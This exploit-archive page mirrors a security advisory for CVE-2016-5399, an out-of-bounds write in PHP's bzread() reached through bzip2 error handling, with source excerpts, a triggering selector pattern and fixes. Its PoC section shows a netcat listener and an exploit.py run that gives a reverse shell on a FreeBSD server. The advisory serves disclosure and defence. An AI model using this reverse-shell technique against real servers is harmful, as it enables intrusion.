PHP 7.0.8, 5.6.23 and 5.5.37 out-of-bounds write in bzread()
CVE
Category
Price
Severity
CVE-2016-5399
CWE-119
Not specified
High
Author
Risk
Exploitation Type
Date
Wangchu
High
Local
2016-07-21
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2016070165 Below is a copy:PHP 7.0.8, 5.6.23 and 5.5.37 out-of-bounds write in bzread() PHP 7.0.8, 5.6.23 and 5.5.37 does not perform adequate error handling in its `bzread()' function:
php-7.0.8/ext/bz2/bz2.c
,----
| 364 static PHP_FUNCTION(bzread)
| 365 {
| ...
| 382 ZSTR_LEN(data) = php_stream_read(stream, ZSTR_VAL(data), ZSTR_LEN(data));
| 383 ZSTR_VAL(data)[ZSTR_LEN(data)] = '\0';
| 384
| 385 RETURN_NEW_STR(data);
| 386 }
`----
php-7.0.8/ext/bz2/bz2.c
,----
| 210 php_stream_ops php_stream_bz2io_ops = {
| 211 php_bz2iop_write, php_bz2iop_read,
| 212 php_bz2iop_close, php_bz2iop_flush,
| 213 "BZip2",
| 214 NULL, /* seek */
| 215 NULL, /* cast */
| 216 NULL, /* stat */
| 217 NULL /* set_option */
| 218 };
`----
php-7.0.8/ext/bz2/bz2.c
,----
| 136 /* {{{ BZip2 stream implementation */
| 137
| 138 static size_t php_bz2iop_read(php_stream *stream, char *buf, size_t count)
| 139 {
| 140 struct php_bz2_stream_data_t *self = (struct php_bz2_stream_data_t *)stream->abstract;
| 141 size_t ret = 0;
| 142
| 143 do {
| 144 int just_read;
| ...
| 148 just_read = BZ2_bzread(self->bz_file, buf, to_read);
| 149
| 150 if (just_read < 1) {
| 151 stream->eof = 0 == just_read;
| 152 break;
| 153 }
| 154
| 155 ret += just_read;
| 156 } while (ret < count);
| 157
| 158 return ret;
| 159 }
`----
The erroneous return values for Bzip2 are as follows:
bzip2-1.0.6/bzlib.h
,----
| 038 #define BZ_SEQUENCE_ERROR (-1)
| 039 #define BZ_PARAM_ERROR (-2)
| 040 #define BZ_MEM_ERROR (-3)
| 041 #define BZ_DATA_ERROR (-4)
| 042 #define BZ_DATA_ERROR_MAGIC (-5)
| 043 #define BZ_IO_ERROR (-6)
| 044 #define BZ_UNEXPECTED_EOF (-7)
| 045 #define BZ_OUTBUFF_FULL (-8)
| 046 #define BZ_CONFIG_ERROR (-9)
`----
Should the invocation of BZ2_bzread() fail, the loop would simply be
broken out of (bz2.c:152) and execution would continue with bzread()
returning RETURN_NEW_STR(data).
According to the manual [1], bzread() returns FALSE on error; however
that does not seem to ever happen.
Due to the way that the bzip2 library deals with state, this could
result in an exploitable condition if a user were to call bzread() after
an error, eg:
,----
| $data = "";
| while (!feof($fp)) {
| $res = bzread($fp);
| if ($res === FALSE) {
| exit("ERROR: bzread()");
| }
| $data .= $res;
| }
`----
Exploitation
============
One way the lack of error-checking could be abused is through
out-of-bound writes that may occur when `BZ2_decompress()' (BZ2_bzread()
-> BZ2_bzRead() -> BZ2_bzDecompress() -> BZ2_decompress()) processes the
`pos' array using user-controlled selectors as indices:
bzip2-1.0.6/decompress.c
,----
| 106 Int32 BZ2_decompress ( DState* s )
| 107 {
| 108 UChar uc;
| 109 Int32 retVal;
| ...
| 113 /* stuff that needs to be saved/restored */
| 114 Int32 i;
| 115 Int32 j;
| ...
| 118 Int32 nGroups;
| 119 Int32 nSelectors;
| ...
| 167 /*restore from the save area*/
| 168 i = s->save_i;
| 169 j = s->save_j;
| ...
| 172 nGroups = s->save_nGroups;
| 173 nSelectors = s->save_nSelectors;
| ...
| 195 switch (s->state) {
| ...
| 286 /*--- Now the selectors ---*/
| 287 GET_BITS(BZ_X_SELECTOR_1, nGroups, 3);
| 288 if (nGroups < 2 || nGroups > 6) RETURN(BZ_DATA_ERROR);
| 289 GET_BITS(BZ_X_SELECTOR_2, nSelectors, 15);
| 290 if (nSelectors < 1) RETURN(BZ_DATA_ERROR);
| 291 for (i = 0; i < nSelectors; i++) {
| 292 j = 0;
| 293 while (True) {
| 294 GET_BIT(BZ_X_SELECTOR_3, uc);
| 295 if (uc == 0) break;
| 296 j++;
| 297 if (j >= nGroups) RETURN(BZ_DATA_ERROR);
| 298 }
| 299 s->selectorMtf[i] = j;
| 300 }
| 301
| 302 /*--- Undo the MTF values for the selectors. ---*/
| 303 {
| 304 UChar pos[BZ_N_GROUPS], tmp, v;
| 305 for (v = 0; v < nGroups; v++) pos[v] = v;
| 306
| 307 for (i = 0; i < nSelectors; i++) {
| 308 v = s->selectorMtf[i];
| 309 tmp = pos[v];
| 310 while (v > 0) { pos[v] = pos[v-1]; v--; }
| 311 pos[0] = tmp;
| 312 s->selector[i] = tmp;
| 313 }
| 314 }
| 315
| ...
| 613 save_state_and_return:
| 614
| 615 s->save_i = i;
| 616 s->save_j = j;
| ...
| 619 s->save_nGroups = nGroups;
| 620 s->save_nSelectors = nSelectors;
| ...
| 640 return retVal;
| 641 }
`----
bzip2-1.0.6/decompress.c
,----
| 070 #define GET_BIT(lll,uuu)
| 071 GET_BITS(lll,uuu,1)
`----
bzip2-1.0.6/decompress.c
,----
| 043 #define GET_BITS(lll,vvv,nnn)
| 044 case lll: s->state = lll;
| 045 while (True) {
| ...
| 065 }
`----
If j >= nGroups (decompress.c:297), BZ2_decompress() would save its
state and return BZ_DATA_ERROR. If the caller don't act on the
erroneous retval, but rather invokes BZ2_decompress() again, the saved
state would be restored (including `i' and `j') and the switch statement
would transfer execution to the BZ_X_SELECTOR_3 case -- ie. the
preceding initialization of `i = 0' and `j = 0' would not be executed.
In pseudocode it could be read as something like:
,----
| i = s->save_i;
| j = s->save_j;
|
| switch (s->state) {
| case BZ_X_SELECTOR_2:
| s->state = BZ_X_SELECTOR_2;
|
| nSelectors = get_15_bits...
|
| for (i = 0; i < nSelectors; i++) {
| j = 0;
| while (True) {
| goto iter;
| case BZ_X_SELECTOR_3:
| iter:
| s->state = BZ_X_SELECTOR_3;
|
| uc = get_1_bit...
|
| if (uc == 0) goto done;
| j++;
| if (j >= nGroups) {
| retVal = BZ_DATA_ERROR;
| goto save_state_and_return;
| }
| goto iter;
| done:
| s->selectorMtf[i] = j;
`----
An example selector with nGroup=6:
,----
| 11111111111110
| ||||| `|||||| `- goto done; s->selectorMtf[i] = 13;
| ` j++;
| j++; goto save_state_and_return;
| goto iter;
`----
Since the selectors are used as indices to `pos' in the subsequent loop,
an `nSelectors' amount of <= 255 - BZ_N_GROUPS bytes out-of-bound writes
could occur if BZ2_decompress() is invoked in spite of a previous error.
bzip2-1.0.6/decompress.c
,----
| 304 UChar pos[BZ_N_GROUPS], tmp, v;
| 305 for (v = 0; v < nGroups; v++) pos[v] = v;
| 306
| 307 for (i = 0; i < nSelectors; i++) {
| 308 v = s->selectorMtf[i];
| 309 tmp = pos[v];
| 310 while (v > 0) { pos[v] = pos[v-1]; v--; }
| 311 pos[0] = tmp;
| 312 s->selector[i] = tmp;
| 313 }
`----
bzip2-1.0.6/bzlib_private.h
,----
| 121 #define BZ_N_GROUPS 6
`----
PoC
===
Against FreeBSD 10.3 amd64 with php-fpm 7.0.8 and nginx from the
official repo [2]:
,----
| $ nc -v -l 1.2.3.4 5555 &
| Listening on [1.2.3.4] (family 0, port 5555)
|
| $ python exploit.py --ip 1.2.3.4 --port 5555 http://target/upload.php
| [*] sending archive to http://target/upload.php (0)
|
| Connection from [target] port 5555 [tcp/*] accepted (family 2, sport 49479)
| $ fg
| id
| uid=80(www) gid=80(www) groups=80(www)
|
| uname -imrsU
| FreeBSD 10.3-RELEASE-p4 amd64 GENERIC 1003000
|
| /usr/sbin/pkg query -g "=> %n-%v" php*
| => php70-7.0.8
| => php70-bz2-7.0.8
|
| cat upload.php
| <?php
| $fp = bzopen($_FILES["file"]["tmp_name"], "r");
| if ($fp === FALSE) {
| exit("ERROR: bzopen()");
| }
|
| $data = "";
| while (!feof($fp)) {
| $res = bzread($fp);
| if ($res === FALSE) {
| exit("ERROR: bzread()");
| }
| $data .= $res;
| }
| bzclose($fp);
| ?>
`----
Solution
========
This issue has been assigned CVE-2016-5399 and can be mitigated by
calling bzerror() on the handle between invocations of bzip2.
Another partial solution has been introduced in PHP 7.0.9 and 5.5.38,
whereby the stream is marked as EOF when an error is encountered;
allowing this flaw to be avoided by using feof(). However, the PHP
project considers this to be an issue in the underlying bzip2
library[3].
Footnotes
_________
[1] [https://secure.php.net/manual/en/function.bzread.php]
[2] [https://github.com/dyntopia/exploits/tree/master/CVE-2016-5399]
[3] [https://bugs.php.net/bug.php?id=72613]
--
Hans Jerry Illikainen
Copyright ©2024 Exploitalert.
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum